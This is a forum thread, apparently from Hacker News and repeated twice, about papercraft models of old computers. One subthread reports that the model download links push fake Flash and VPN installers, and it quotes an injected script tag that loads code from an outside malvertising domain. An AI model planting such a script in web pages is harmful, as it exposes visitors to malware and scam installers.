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Papercraft Models of Computers

240 points by laurex 6y ago

51Cards 6y ago
No Commodore PET. As a person who started there I'm indignant. (but secretly these are pretty cool)
- timbit42 6y ago
  https://papermau.blogspot.com/2016/05/commodore-pet-2001-paper-model-by-8bit.html https://papermau.blogspot.com/2016/05/commodore-pet-2001-pap...
  - andrehacker 6y ago
    Ah, but the link to the model seems to be broken. This is where waybackmachine comes in handy: https://web.archive.org/web/20160401173732/http://homecomputermuseum.de/comp/bilder/pet_bastel.pdf https://web.archive.org/web/20160401173732/http://homecomput...
gerdesj 6y ago
The C-64 is nice but it doesn't have the USB attachment that my real C-64 sports these days.
pacaro 6y ago
The download links for the models are trying to serve malware. Is anyone else having this problem?
- robarr 6y ago
  Not for me. The link (I only tried the CPC 464) served a pdf thru docdroid.net. Although I tried on an iOS device. Sometimes this things are smart and check the user agent before pushing a payload.
- mromanuk 6y ago
  Yes, I have the same problem on my iPhone
- userbinator 6y ago
  What type of malware, specifically? They all seem to point to docdro.id and the download link there is a direct one to a PDF.
  - pacaro 6y ago
    On android I get popups that expect me to install something and/or enable notifications etc. On my desktop PC (windows) there were no issues
- agotterer 6y ago
  Yes. I was presented an official looking Apple prompt on my iPhone which said something along the lines of: Install the the VPN to continue safely browsing.
- pinewurst 6y ago
  Yes, it chains to some kind of fake Flash installer.
- mortenjorck 6y ago
  I first got a modal prompt implying that I had just chosen to install MacKeeper, then after closing that got several "notifications" to "update" my "Flash player." These papercraft models are a treasure, but it looks like the author needs to get away from this DocDroid platform as soon as possible.
- grepthisab 6y ago
  Yes same here, tried to get me to install something on my android. Please leave this provider asap! But I love these so much I'll happily host them all on my CDN if you'd like.
  - _nalply 6y ago
    And how would they contact you?
    - grepthisab 6y ago
      A reply to this comment would be perfect!
      - rockasoo 6y ago
        Hi there! I am looking to switch hosting and if you could provide me with info I would be interested in changing over. I don't want to responsible for spreading Malware!
- tyingq 6y ago
  Looks like someone injected this into his page: <script type="text/javascript" src="//contehos.com/apu.php?zoneid=3271470" async data-cfasync="false"></script> Which isn't too stealthy about its business. For example: function postAntiadblockInfo(zoneid, format)
- rockasoo 6y ago
  I am honoured to be included on one of the coolest boards out there. I am not much of a true hacker but I am so happy to be able to contribute to the discussion. If anyone can suggest better alternate hosting, I would be happy to move them to that new location. Thanks for the head's up. I guess a crew of hackers would be quick to spot the exploit..
- rockasoo 6y ago
  I just moved my model hosting from do docdroid to scribd. I am hoping that will eliminate the whole malware issue. Please let me know if any new issues arise and thank you all for bringing this issue to my attention!
sxp 6y ago
I was hoping these would be functional models. Since you can probably cram an Esp32 or Pi Zero into these cases and run an emulator at native speed, you can create semi-functional replicas of old computers: https://3dprint.com/48212/3d-print-retro-apple/ https://3dprint.com/48212/3d-print-retro-apple/
acherion 6y ago
I made the Amiga 500 papercraft model from this site but had stuck the print-out to some card to give the model a bit of heft, and made my very own Amiga 500 Christmas ornament. I couldn't find a way to include the mouse nicely (without it just dangling there) so I left it off. I enjoyed making the model and it looked great on my tree!
- Aeronwen 6y ago
  Use a stiff wire for the mouse cable so it holds the mouse and mouse pad in position next to the computer.
qwertox 6y ago
The bonus pictures of the Sega Master System... Wow.
k_sze 6y ago
I know I’m getting old when Nintendo GameCube is considered vintage. I'm 38 now with some gray hair. The GameCube came out when I was in high school. P.S. The emulation of curved CRT in these paper models is a really nice touch.
scanny 6y ago
This would have been a fantastic lockdown activity, what an awesome idea!
paraknight 6y ago
Malware aside, these are beautiful! I would have killed for these when I was younger loving both papercraft and computers
cuillevel3 6y ago
Great idea, I really like to have 3d printed, historic, server models, so I can build model datacenters. Model railways is so last century..
cHaOs667 6y ago
I would buy an Atari 520ST model just to burn it down...
asyrafql 6y ago
This will be fun to spend time on ;p
soferio 6y ago
Wow, what a fantastic idea. There goes the weekend.
klelatti 6y ago
AFAIK baked beans were never an official ZX Spectrum accessory although of course a bottle of milk was essential for the ZX80 ;)
sunpazed 6y ago
Wow! This is great. Reminds me a pop-up book from 1984 (which I still own) https://youtu.be/2NueRKhEwvY https://youtu.be/2NueRKhEwvY The pop-up models were awesome, and explained the inner workings of a digital computer. It’s how I learnt to count in binary as a 7 year old kid.
layoutIfNeeded 6y ago
Fyi, you can create papercraft models from any mesh using Pepakura Designer: https://tamasoft.co.jp/pepakura-en/index.html https://tamasoft.co.jp/pepakura-en/index.html
andrewshadura 6y ago
When I was a kid there was a book called Professor Fortran's Encyclopedia which came with similar paper models. Unfortunately, I didn't own the book (took it from a library) so I wasn't able to build them :)
Schiphol 6y ago
Baked beans included with the ZX Spectrum model <3 http://rockybergen.com/whatsnew/2019/8/17/sinclair-zx-spectrum-papercraft-design http://rockybergen.com/whatsnew/2019/8/17/sinclair-zx-spectr...
PaulHoule 6y ago
I was hoping for some kind of paper logic, not another cardboard box Gundam.

240 points by laurex 6y ago

51Cards 6y ago

No Commodore PET. As a person who started there I'm indignant. (but secretly these are pretty cool)

timbit42 6y ago
https://papermau.blogspot.com/2016/05/commodore-pet-2001-paper-model-by-8bit.html https://papermau.blogspot.com/2016/05/commodore-pet-2001-pap...
- andrehacker 6y ago
  Ah, but the link to the model seems to be broken. This is where waybackmachine comes in handy: https://web.archive.org/web/20160401173732/http://homecomputermuseum.de/comp/bilder/pet_bastel.pdf https://web.archive.org/web/20160401173732/http://homecomput...

gerdesj 6y ago

The C-64 is nice but it doesn't have the USB attachment that my real C-64 sports these days.

pacaro 6y ago

The download links for the models are trying to serve malware. Is anyone else having this problem?

robarr 6y ago
Not for me. The link (I only tried the CPC 464) served a pdf thru docdroid.net. Although I tried on an iOS device. Sometimes this things are smart and check the user agent before pushing a payload.
mromanuk 6y ago
Yes, I have the same problem on my iPhone
userbinator 6y ago
What type of malware, specifically? They all seem to point to docdro.id and the download link there is a direct one to a PDF.
- pacaro 6y ago
  On android I get popups that expect me to install something and/or enable notifications etc. On my desktop PC (windows) there were no issues
agotterer 6y ago
Yes. I was presented an official looking Apple prompt on my iPhone which said something along the lines of: Install the the VPN to continue safely browsing.
pinewurst 6y ago
Yes, it chains to some kind of fake Flash installer.
mortenjorck 6y ago
I first got a modal prompt implying that I had just chosen to install MacKeeper, then after closing that got several "notifications" to "update" my "Flash player." These papercraft models are a treasure, but it looks like the author needs to get away from this DocDroid platform as soon as possible.
grepthisab 6y ago
Yes same here, tried to get me to install something on my android. Please leave this provider asap! But I love these so much I'll happily host them all on my CDN if you'd like.
- _nalply 6y ago
  And how would they contact you?
  - grepthisab 6y ago
    A reply to this comment would be perfect!
    - rockasoo 6y ago
      Hi there! I am looking to switch hosting and if you could provide me with info I would be interested in changing over. I don't want to responsible for spreading Malware!
tyingq 6y ago
Looks like someone injected this into his page: <script type="text/javascript" src="//contehos.com/apu.php?zoneid=3271470" async data-cfasync="false"></script> Which isn't too stealthy about its business. For example: function postAntiadblockInfo(zoneid, format)
rockasoo 6y ago
I am honoured to be included on one of the coolest boards out there. I am not much of a true hacker but I am so happy to be able to contribute to the discussion. If anyone can suggest better alternate hosting, I would be happy to move them to that new location. Thanks for the head's up. I guess a crew of hackers would be quick to spot the exploit..
rockasoo 6y ago
I just moved my model hosting from do docdroid to scribd. I am hoping that will eliminate the whole malware issue. Please let me know if any new issues arise and thank you all for bringing this issue to my attention!

sxp 6y ago

I was hoping these would be functional models. Since you can probably cram an Esp32 or Pi Zero into these cases and run an emulator at native speed, you can create semi-functional replicas of old computers: https://3dprint.com/48212/3d-print-retro-apple/ https://3dprint.com/48212/3d-print-retro-apple/

acherion 6y ago

I made the Amiga 500 papercraft model from this site but had stuck the print-out to some card to give the model a bit of heft, and made my very own Amiga 500 Christmas ornament. I couldn't find a way to include the mouse nicely (without it just dangling there) so I left it off. I enjoyed making the model and it looked great on my tree!

Aeronwen 6y ago
Use a stiff wire for the mouse cable so it holds the mouse and mouse pad in position next to the computer.

qwertox 6y ago

The bonus pictures of the Sega Master System... Wow.

k_sze 6y ago

I know I’m getting old when Nintendo GameCube is considered vintage. I'm 38 now with some gray hair. The GameCube came out when I was in high school. P.S. The emulation of curved CRT in these paper models is a really nice touch.

scanny 6y ago

This would have been a fantastic lockdown activity, what an awesome idea!

paraknight 6y ago

Malware aside, these are beautiful! I would have killed for these when I was younger loving both papercraft and computers

cuillevel3 6y ago

Great idea, I really like to have 3d printed, historic, server models, so I can build model datacenters. Model railways is so last century..

cHaOs667 6y ago

I would buy an Atari 520ST model just to burn it down...

asyrafql 6y ago

This will be fun to spend time on ;p

soferio 6y ago

Wow, what a fantastic idea. There goes the weekend.

klelatti 6y ago

AFAIK baked beans were never an official ZX Spectrum accessory although of course a bottle of milk was essential for the ZX80 ;)

sunpazed 6y ago

Wow! This is great. Reminds me a pop-up book from 1984 (which I still own) https://youtu.be/2NueRKhEwvY https://youtu.be/2NueRKhEwvY The pop-up models were awesome, and explained the inner workings of a digital computer. It’s how I learnt to count in binary as a 7 year old kid.

layoutIfNeeded 6y ago

Fyi, you can create papercraft models from any mesh using Pepakura Designer: https://tamasoft.co.jp/pepakura-en/index.html https://tamasoft.co.jp/pepakura-en/index.html

andrewshadura 6y ago

When I was a kid there was a book called Professor Fortran's Encyclopedia which came with similar paper models. Unfortunately, I didn't own the book (took it from a library) so I wasn't able to build them :)

Schiphol 6y ago

Baked beans included with the ZX Spectrum model <3 http://rockybergen.com/whatsnew/2019/8/17/sinclair-zx-spectrum-papercraft-design http://rockybergen.com/whatsnew/2019/8/17/sinclair-zx-spectr...

PaulHoule 6y ago

I was hoping for some kind of paper logic, not another cardboard box Gundam.